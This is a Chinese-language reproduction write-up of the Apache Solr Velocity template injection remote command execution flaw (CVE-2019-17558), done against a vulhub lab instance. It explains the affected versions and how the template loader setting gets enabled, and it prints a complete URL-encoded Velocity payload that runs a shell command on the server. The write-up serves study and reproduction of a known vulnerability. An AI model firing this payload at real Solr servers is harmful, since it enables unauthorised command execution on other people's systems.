【漏洞复现】Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

一、漏洞简介

Solr 是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成，以及富文本的处理。

2019年10月30日，国外安全研究人员放出了一个关于solr 模板注入的exp，攻击者通过未授权访问solr服务器，发送特定的数据包开启 params.resource.loader.enabled，然后get访问接口导致服务器命令执行。

影响范围：

5.0.0 到 8.3.1版本

二、漏洞环境搭建

使用vulhub进行环境搭建：

三、漏洞复现

服务启动后，访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。

默认情况下params.resource.loader.enabled配置未打开，无法使用自定义模板。我们先通过如下API获取所有的核心：

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

得到唯一的核心core：demo

访问solr/demo/config进行抓包：进行修改提交我们的数据

修改成功：

漏洞利用：

注入Velocity模板（Java的一个模板引擎）即可执行任意命令（在exec函数里面注入想要执行的命令）：
这里演示id

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

也可以访问/solr/demo/select进行抓包，传递参数：

之后就可以在exec函数中输入自己的payload进行利用。